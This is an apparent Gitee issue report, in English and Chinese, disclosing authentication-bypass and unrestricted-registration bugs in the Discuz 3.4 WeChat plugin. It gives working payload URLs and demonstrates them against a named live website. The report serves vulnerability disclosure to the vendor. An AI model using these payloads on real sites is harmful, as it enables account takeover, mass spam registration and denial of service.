本周日,苏州开源盛宴,一起聊聊:Devops、K8s、数据库建模、SoLiD、.Net Core、微信开发、去中心化… 点击占座。
指数
0
Watch 606 Star 1.5k Fork 851

Discuz! / DiscuzXPHP

discuz 3.4 some logical bugs

已完成
whirlwind  创建于

discuz 3.4 some logical bugs

when #wechat#common_member_wechatmp has some items,we can login one random account without password (who first click wechat login and not success bind wechat).
/plugin.php?id=wechat:wechat&ac=wxregister&username=abcdefg

use a fake wxopenid,we also can register accounts without any validation,even if disabled registration.
/plugin.php?id=wechat:wechat&ac=wxregister&username=whirlwind&wxopenid=abcdefg


discuz 3.4 逻辑漏洞

比较有意思的漏洞。

dz 3.4默认安装了微信登陆。

如果有用户点了一下绑定微信,但是并没有绑定,会写入common_member_wechatmp
wechat.inc.php 230行附近,会取出第一个用户,然后重复使用这个tmp,但是在取出后,setloginstatus($member, 1296000);就导致可以越权进入上一个人账号。

另外他fetch_by_openid($wxopenid ? $wxopenid : $_GET['wxopenid']);,只要随便写一个不存在的wxopenid,就跳过此处,可以$uid = WeChat::register($_GET['username'], $ac == 'wxregister');,注册一个用户。从而达到无限注册用户,且不会有验证码、邀请码的限制,哪怕禁止注册。

另外还可以unbindmp来删除common_member_wechatmp,从而可以遍历Tmp中存在的用户,越权进入这些人的账号。

PAYLOAD

随机登陆一个账号

/plugin.php?id=wechat:wechat&ac=wxregister&username={username}

清空tmp

/plugin.php?id=wechat:wechat&ac=unbindmp&uid={uid}&hash={csrf_hash}

注册账号

/plugin.php?id=wechat:wechat&ac=wxregister&username={username}&wxopenid=abcdefg

注意:登陆后会跳转到微信,然后回到首页刷新即可。

危害

如果管理员第一个,那就直接进管理员了,一般都是经验高的用户。

另外无限注册,导致dos,以及绕过注册限制,从而可以做HC,黄赌毒外推那种。

演示

目标:http://www.stbike.net/

登陆一个随机的账号:
http://www.stbike.net/plugin.php?id=wechat:wechat&ac=wxregister&username=asadsads

注册账号,即使这个网站禁止注册:
http://www.stbike.net/plugin.php?id=wechat:wechat&ac=wxregister&username=whirlwind&wxopenid=abcdefg

1157835_comsenzdiscuz 1296242_whirlwind110 共3人参与

评论 (3)

1157835_comsenzdiscuz
Discuz! 2018-12-25 20:29 拥有者

已阅

卡卡北 2018-12-27 16:46

25号晚我也遇到了。。。
http://www.discuz.net/thread-3845108-1-1.html

1296242_whirlwind110
whirlwind 2018-12-27 16:55

@卡卡北 修复的话 注释掉那行设置setlogin的代码就行 ,好像是

登录 后才可以发表评论

负责人
标签
未设置
里程碑
关联分支
开始时间
未设置
结束时间
未设置
置顶选项
优先级

搜索帮助

14_float_left_people 14_float_left_close